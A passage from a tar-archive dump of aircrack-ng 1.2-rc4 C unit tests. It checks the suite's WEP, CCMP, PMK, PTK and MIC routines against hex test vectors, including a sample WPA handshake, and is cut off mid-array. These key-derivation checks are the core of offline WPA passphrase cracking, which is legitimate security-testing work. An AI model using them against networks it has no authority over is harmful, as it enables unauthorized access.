"\xE8\x81\x87\x13\xC1\xC1\x0A\xB0\xBE\x20\xE7\xF5\x55\x55\x0C\xF3" "\x99\x67\x53\xAF\x35\x15\xA9\x48\x72\xD8\xEB\x4A\xCF\x5B\xF5\xB6" "\xBC\x30\x24\xCB\xFD\x6C\x5C\xF5\x62\x5C\xFD\xA5\x65\xD9\xD4\xD7"; unsigned char buffer[BLEN]; memcpy(&buffer, &input, BLEN); encrypt_wep( buffer, BLEN, key, KLEN ); error += test(buffer,expected,BLEN,argv[0]); decrypt_wep( buffer, BLEN, key, KLEN ); error += test(buffer,input,BLEN,argv[0]); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-calc-ptk.c0000644000000000000000000001304012631744204021640 0ustar rootroot/* * * test-calc-ptk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include #include "crypto.h" #include "tests.h" #include int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char opmk[32] = "\xee\x51\x88\x37\x93\xa6\xf6\x8e\x96\x15\xfe\x73\xc8\x0a\x3a\xa6" "\xf2\xdd\x0e\xa5\x37\xbc\xe6\x27\xb9\x29\x18\x3c\xc6\xe5\x79\x25"; static unsigned char ostmac[6] = "\x00\x13\x46\xfe\x32\x0c"; static unsigned char obssid[6] = "\x00\x14\x6c\x7e\x40\x80"; static unsigned char osnonce[32] = "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d" "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70"; static unsigned char oanonce[32] = "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0" "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55"; static unsigned char okeymic[20] = "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6" "\x00\x00\x00\x00"; static unsigned char optk[80] = "\x0d\xde\xae\x80\x83\xf9\x2c\xa9\xaf\xdb\x25\x0d\xde\xe5\x25\x1b" "\xc0\xee\xb4\x7e\xf2\x2a\xf7\x9e\x25\x34\x6e\x8b\x73\xe2\xca\x7d" "\x94\xb0\x60\x5f\x2e\xed\x66\xd8\x60\x76\xb3\x38\xa6\x65\xfe\xe3" "\x9f\xde\x22\x1e\xb1\x38\x6b\x3d\xa7\xac\x6a\xbe\x7e\xe0\x00\x1f" "\xbd\x92\xab\xec\xc8\xba\x49\xf0\x5d\xff\x8f\x50\x1e\xfa\xaa\xcc"; static unsigned char eptk[80] = "\xea\x0e\x40\x46\x33\xc8\x02\x45\x03\x02\x86\x8c\xca\xa7\x49\xde" "\x5c\xba\x5a\xbc\xb2\x67\xe2\xde\x1d\x5e\x21\xe5\x7a\xcc\xd5\x07" "\x9b\x31\xe9\xff\x22\x0e\x13\x2a\xe4\xf6\xed\x9e\xf1\xac\xc8\x85" "\x45\x82\x5f\xc3\x2e\xe5\x59\x61\x39\x5a\xe4\x37\x34\xd6\xc1\x07" "\x98\xef\x5a\xfe\x42\xc0\x74\x26\x47\x18\x68\xa5\x77\xd4\xd1\x7e"; static unsigned char oeapol[256]= "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00" "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08" "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85" "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac" "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char pmk[32]; memcpy(&pmk, &opmk, 32); struct WPA_ST_info *wpa; wpa=(struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info)); // default to zero bzero(wpa,sizeof(struct WPA_ST_info)); memcpy(wpa->stmac,&ostmac,6); memcpy(wpa->bssid,&obssid,6); memcpy(wpa->ptk,&optk,80); memcpy(wpa->anonce,&oanonce,32); // not valid_ptk if ((1==1) == (calc_ptk (wpa, pmk))) error++; error += test(pmk,opmk,32, argv[0]); error += test(wpa->ptk,optk,80, argv[0]); // calc another one wpa->eapol_size=121; memcpy(wpa->eapol,&oeapol,256); memcpy(wpa->keymic,&okeymic,20); memcpy(wpa->snonce,&osnonce,32); // valid ptk if ((1==1) != (calc_ptk (wpa, pmk))) error++; error += test(pmk,opmk,32, argv[0]); error += test(wpa->ptk,eptk,80, argv[0]); free(wpa); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-encrypt-ccmp.c0000644000000000000000000000442012631744204022550 0ustar rootroot/* * * test-encrypt-ccmp.c * * Copyright (C) 2015 Jorn van Engelen * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include #include "crypto.h" #include "tests.h" #define BUFFER_SIZE 65536 int main(int argc, char **argv) { int error = 0; int caplen = 44; // CCMP test vector as described in IEEE 802.11(TM)-2012, Section M.6.4. unsigned char tk1[16] = "\xc9\x7c\x1f\x67\xce\x37\x11\x85\x51\x4a\x8a\x19\xf2\xbd\xd5\x2f"; unsigned char pn[6] = "\xb5\x03\x97\x76\xe7\x0c"; unsigned char h80211[44] = "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08" "\xab\xae\xa5\xb8\xfc\xba\x80\x33\xf8\xba\x1a\x55\xd0\x2f\x85\xae" "\x96\x7b\xb6\x2f\xb6\xcd\xa8\xeb\x7e\x78\xa0\x50"; unsigned char expected[60] = "\x08\x48\xc3\x2c\x0f\xd2\xe1\x28\xa5\x7c\x50\x30\xf1\x84\x44\x08" "\xab\xae\xa5\xb8\xfc\xba\x80\x33\x0c\xe7\x00\x20\x76\x97\x03\xb5" "\xf3\xd0\xa2\xfe\x9a\x3d\xbf\x23\x42\xa6\x43\xe4\x32\x46\xe8\x0c" "\x3c\x04\xd0\x19\x78\x45\xce\x0b\x16\xf9\x76\x23"; unsigned char expected_output[BUFFER_SIZE]; unsigned char input[BUFFER_SIZE]; if (argc < 1) return 1; bzero( expected_output, BUFFER_SIZE ); bzero( input, BUFFER_SIZE ); memcpy( expected_output, expected, sizeof(expected) ); memcpy( input, h80211, sizeof(h80211) ); caplen = encrypt_ccmp( input, caplen, tk1, pn ); if ( caplen != sizeof(expected) ) error++; error += test( input, expected_output, sizeof(expected), argv[0] ); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-calc-pmk.c0000644000000000000000000000361212251615154021634 0ustar rootroot/* * * test-calc-pmk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #define PLEN 40 #define KLEN 14 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char input[PLEN] = "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18" "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac" "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0"; static unsigned char expected[PLEN] = "\x1d\x4d\xf5\x5d\xd8\xd9\x13\xf5\x54\x0d\x05\x3c\xdb\x57\x83\x53" "\xd0\x6c\x0f\xb3\x50\x71\x10\xee\x48\xda\xce\x2b\x60\xf6\xd0\xd4" "\xc2\x24\x39\x9f\xe8\x1d\x1e\x80"; static char key[KLEN] = "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09\x00"; static char essid[8] = "T3st1ng"; unsigned char pmk[PLEN]; memcpy(&pmk, &input, PLEN); calc_pmk( key, essid, pmk ); error += test(pmk,expected,PLEN, argv[0]); calc_pmk( key, essid, pmk ); error += test(pmk,expected,PLEN, argv[0]); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-calc-mic.c0000644000000000000000000001350712631744204021622 0ustar rootroot/* * * test-calc-mic.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include #include "crypto.h" #include "tests.h" #include "aircrack-ng.h" #include int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char opmk[32] = "\x6f\xe8\x57\xc0\xb7\x42\xdf\xc2\xda\x8a\x1f\xe8\xb1\xb4\xb4\x62" "\x8d\x9f\xbb\xb0\x60\x82\x6b\x83\xcb\x43\xb6\x4b\x13\xe1\x03\xe8"; static unsigned char optk[80] = "\x28\x00\x00\x00\x00\x00\x00\x00\x18\x81\xd5\x96\xff\x7f\x00\x00" "\x64\x00\x00\x00\x00\x00\x00\x00\x9f\x84\x00\x51\xd8\x7f\x00\x00" "\x58\x33\xcf\x01\x00\x00\x00\x00\x21\x00\x00\x00\x00\x00\x00\x00" "\x10\xb3\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x30\x9d\xd3\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; static unsigned char omic[20] = "\x01\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x00\x00\x00\x00" "\x30\x9d\xd3\x01"; //expected static unsigned char eptk[80] = "\x9a\x75\xef\x0b\xde\x7c\x20\x9c\xca\xe1\x3f\x54\xb1\xb3\x3e\xa3" "\xfa\x01\x66\x16\x6e\x30\x81\x1f\x1b\xaa\xff\x8d\x1c\x1a\xc1\x63" "\x82\xa4\x9b\x50\xb8\x60\x88\xc5\xcb\x79\x3b\x54\x26\x61\xa2\x8a" "\x64\x69\x3c\x72\xb8\x66\x73\xe0\xa8\x2d\x48\xc7\x47\x68\xcb\xf9" "\xa1\xbf\x86\xcc\x30\xb9\xd6\x3d\xe8\x82\x59\x25\xec\x1f\x4d\x3f"; // expected emic when wpa.keyver=2 static unsigned char emic2[20] = "\x6f\x04\x89\xcf\x74\x06\xac\xf0\xae\x8f\xcb\x32\xbc\xe5\x7c\x37" "\x79\x3a\x23\x61"; // expected emic when wpa.keyver=1 static unsigned char emic1[20] = "\x9c\xc3\xfa\xa0\xc6\x85\x96\x1d\x84\x06\xbb\x65\x77\x45\x13\x5d" "\x30\x9d\xd3\x01"; // AP structure struct AP_info *ap; ap=(struct AP_info *) malloc(sizeof(struct AP_info)); bzero(ap,sizeof(struct AP_info)); unsigned char stmac[6] = "\x00\x13\x46\xfe\x32\x0c"; unsigned char snonce[32] = "\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08\x8d" "\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85\x70"; unsigned char anonce[32] = "\x22\x58\x54\xb0\x44\x4d\xe3\xaf\x06\xd1\x49\x2b\x85\x29\x84\xf0" "\x4c\xf6\x27\x4c\x0e\x32\x18\xb8\x68\x17\x56\x86\x4d\xb7\xa0\x55"; unsigned char keymic[16] = "\xd5\x35\x53\x82\xb8\xa9\xb8\x06\xdc\xaf\x99\xcd\xaf\x56\x4e\xb6"; unsigned char eapol[256] = "\x01\x03\x00\x75\x02\x01\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00" "\x01\x59\x16\x8b\xc3\xa5\xdf\x18\xd7\x1e\xfb\x64\x23\xf3\x40\x08" "\x8d\xab\x9e\x1b\xa2\xbb\xc5\x86\x59\xe0\x7b\x37\x64\xb0\xde\x85" "\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x16\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac" "\x04\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; unsigned char bssid[6] = "\x00\x14\x6c\x7e\x40\x80"; unsigned char essid[33] = "Harkonen"; struct WPA_hdsk wpa; /* valid WPA handshake data */ memcpy(&wpa.stmac,&stmac,6); memcpy(&wpa.snonce,&snonce,32); memcpy(&wpa.anonce,&anonce,32); memcpy(&wpa.keymic,&keymic,16); memcpy(&wpa.eapol,&eapol,256); wpa.eapol_size=121; wpa.state=7; memcpy(&ap->bssid,bssid,6); memcpy(&ap->essid,essid,33); unsigned char pmk[32]; memcpy(&pmk, &opmk, 32); unsigned char ptk[80]; memcpy(&ptk, &optk, 80); unsigned char mic[20]; memcpy(&mic, &omic, 20); wpa.keyver=1; ap->wpa = wpa; calc_mic (ap, pmk, ptk, mic); error += test(pmk,opmk,32, argv[0]); error += test(ptk,eptk,80, argv[0]); error += test(mic,emic1,20, argv[0]); wpa.keyver=2; ap->wpa = wpa; calc_mic (ap, pmk, ptk, mic); error += test(pmk,opmk,32, argv[0]); error += test(ptk,eptk,80, argv[0]); error += test(mic,emic2,20, argv[0]); free(ap); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-decrypt-ccmp.c0000644000000000000000000003515312631744204022545 0ustar rootroot/* * * test-decrypt-ccmp.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include #include "crypto.h" #include "tests.h" #define BUFFER_SIZE 65536 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; int caplen1 = 81; unsigned char tk1[16] = "\x1d\x03\x5e\x8b\xeb\x4f\x83\x61\x1d\xc9\x3e\x26\x57\xce\xcf\x69"; unsigned char h80211[1496] = "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef" "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00" "\x95\xc3\x1e\x2d\x02\x01\x58\x9f\x4d\xeb\xe2\x27\xc4\xe9\xc2\x1d" "\xb1\x2c\x7a\x66\x6a\x35\x80\x8a\xbe\x1e\x73\x8d\xab\x1d\xa3\x6b" "\xa0\xf3\x16\x81\x70\x9a\x94\xf0\xb6\x53\x2c\xd6\x93\x5b\x14\x13" "\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60" "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4" "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a" "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2" "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c" "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b" "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed" "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d" "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65" "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6" "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad" "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e" "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4" "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85" "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7" "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c" "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9" "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2" "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f" "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6" "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3" "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a" "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0" "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36" "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d" "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0" "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b" "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31" "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a" "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6" "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec" "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6" "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43" "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27" "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26" "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46" "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03" "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7" "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22" "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55" "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a" "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2" "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d" "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f" "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b" "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60" "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec" "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c" "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b" "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0" "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67" "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb" "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a" "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac" "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8" "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d" "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee" "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f" "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b" "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36" "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e" "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d" "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79" "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0" "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54" "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95" "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c" "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf" "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54" "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb" "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85" "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a" "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3" "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21" "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4" "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d" "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5" "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f" "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1" "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62" "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1" "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48" "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2" "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b" "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee" "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a" "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc" "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf"; unsigned char expected[1496] = "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef" "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00" "\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x21\x6a\x12\x00\x00" "\x01\x01\xf7\x43\xac\x10\x00\x65\xac\x10\x00\x01\x08\x00\x26\x67" "\x04\x00\x03\x00\x44\x48\x43\x50\x43\x34\x65\x66\x21\x68\xa8\xc7" "\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60" "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4" 